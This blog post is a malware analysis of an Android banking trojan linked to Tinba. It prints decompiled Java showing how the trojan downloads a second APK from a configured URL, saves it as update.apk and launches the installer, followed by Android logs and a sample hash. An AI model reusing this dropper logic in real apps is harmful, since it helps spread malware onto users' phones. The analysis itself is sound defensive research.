Thursday, January 21, 2016

Tinba: Continuation of the APK malware analysis

During my previous post I explained that the new version of the Android Bank trojan related to Tinba is able to install other APK for persistence purposes. During a first look on both samples the core functionality in terms of stealing 2FA remains the same. However, in terms of the capabilities to install new APKs, only the one of them have them.

In order to perform the installation, I can see in the AndroidManifest.xml that there is some extra permissions in one of the APK: 
"android.permission.BIND_ACCESSIBILITY_SERVICE" which it is clearly related to the way the malware fools the user through the accessibility menu, as explained in previous post.

 

What I am really interested is the java methods in charge of performing the tasks of downloading he APK and doing the installation. Looking around a bit with Androguard and following the flows of the code I ended up with a class file which contains the code:


package com.google.securesms.xservices;
public class g extends android.os.AsyncTask {
    final synthetic com.google.securesms.xservices.XUpdate a;
    private android.content.Context b;

    public g(com.google.securesms.xservices.XUpdate p1)
    {
        this.a = p1;
        return;
    }

    protected varargs Void a(String[] p6)
    {
        android.content.Intent v0_3 = ((java.net.HttpURLConnection) new java.net.URL(p6[0]).openConnection());
        v0_3.setRequestMethod("GET"); 
        v0_3.setDoOutput(1);
        v0_3.connect();
        String v2_3 = new java.io.File(new StringBuilder().append(android.os.Environment.getExternalStorageDirectory()).append("/download/").toString());
        v2_3.mkdirs();
        android.content.Context v1_10 = new java.io.File(v2_3, "update.apk");
        if (v1_10.exists()) {
            v1_10.delete();
        }
        String v2_6 = new java.io.FileOutputStream(v1_10);
        android.content.Intent v0_4 = v0_3.getInputStream();
        android.content.Context v1_12 = new byte[1024];
        while(true) {
            String v3_1 = v0_4.read(v1_12);
            if (v3_1 == -1) {
                break;
            }
            v2_6.write(v1_12, 0, v3_1);
        }
        v2_6.close();
        v0_4.close();
        android.content.Intent v0_6 = new android.content.Intent("android.intent.action.VIEW");
        v0_6.setDataAndType(android.net.Uri.fromFile(new java.io.File(new StringBuilder().append(android.os.Environment.getExternalStorageDirectory()).append("/download/update.apk").toString())), "application/vnd.android.package-archive");
        v0_6.setFlags(268435456);
        this.b.startActivity(v0_6);
        return 0;
    }

    public void a(android.content.Context p1)
    {
        this.b = p1;
        return;
    }

    protected synthetic Object doInBackground(Object[] p2)
    {
        return this.a(((String[]) p2));
    }
}


This class basically downloads a file and keeps it as 'update.apk' in the external storage directory 'download', which in the end is /sdcard/download/update.apk. Later on, through the intent 'android.intent.action.VIEW'  the file is opened, hence executed, as can be seen in the logs

 I/ActivityManager(778): START u0 {act=android.intent.action.VIEW dat=file:///storage/emulated/0/Download/update.apk typ=application/vnd.android.package-archive cmp=com.android.packageinstaller/.PackageInstallerActivity} from uid 10084 on display 0

 I/ActivityManager(778): START u0 {dat=file:///storage/emulated/0/Download/update.apk cmp=com.android.packageinstaller/.InstallAppProgress (has extras)} from uid 10063 on display 0


The URL from the malware is downloaded is stored in the initial MainPref.xml, DOWNLOAD_URL. That field is parsed through one of the methods called in the com.google.securesms.xservices.


package com.google.securesms.xservices;
public class XUpdate extends android.content.BroadcastReceiver {

    public XUpdate()
    {
        return;
    }

    public void onReceive(android.content.Context p6, android.content.Intent p7)
    {
        if (com.google.securesms.j.i.a("DEL", 0, p6) <= 0) {
            if ((!com.google.securesms.j.i.c()) || ((!com.google.securesms.j.i.r(p6)) || ((com.google.securesms.i.ac.a(p6)) || (com.google.securesms.j.i.a("RTB", 0, p6) <= 0)))) {
                if ((!com.google.securesms.j.i.b()) || (com.google.securesms.j.i.r(p6))) {
                    if ((com.google.securesms.j.i.b()) && ((com.google.securesms.j.i.r(p6)) && ((!com.google.securesms.j.i.a(p6, com.google.securesms.j.i.c)) && (!com.google.securesms.j.i.a("DOWNLOAD_URL", "", p6).isEmpty())))) {
                        com.google.securesms.xservices.g v0_17 = new com.google.securesms.xservices.g(this);
                        v0_17.a(p6);
                        String[] v1_2 = new String[1];
                        v1_2[0] = com.google.securesms.j.i.a("DOWNLOAD_URL", "", p6);
                        v0_17.execute(v1_2);
                    }
                } else {
                    com.google.securesms.xservices.g v0_19 = new android.content.Intent(p6, com.google.securesms.xpack.ActAS);
                    v0_19.addFlags(131072);
                    v0_19.addFlags(268435456);
                    p6.startActivity(v0_19);
                }
            } else {
                com.google.securesms.j.i.q(p6);
                android.media.RingtoneManager.getRingtone(p6, android.media.RingtoneManager.getDefaultUri(2)).play();
            }
        } else {
            com.google.securesms.j.i.c("UNINST", "Action for uninstall fixed", p6);
            com.google.securesms.xservices.g v0_25 = new android.content.Intent(p6, com.google.securesms.xpack.ActUpdate);
            v0_25.addFlags(268435456);
            p6.startActivity(v0_25);
        }
        return;
    }
}


By the time of writing this post the URL is still active, so it is possible to download the malware for further analysis. Also, it is reported in VT with hash
ce1cf0db8c84e9c903faf33e65c3cea4fa596e4d8ad169f9c48ed9629cf24c0d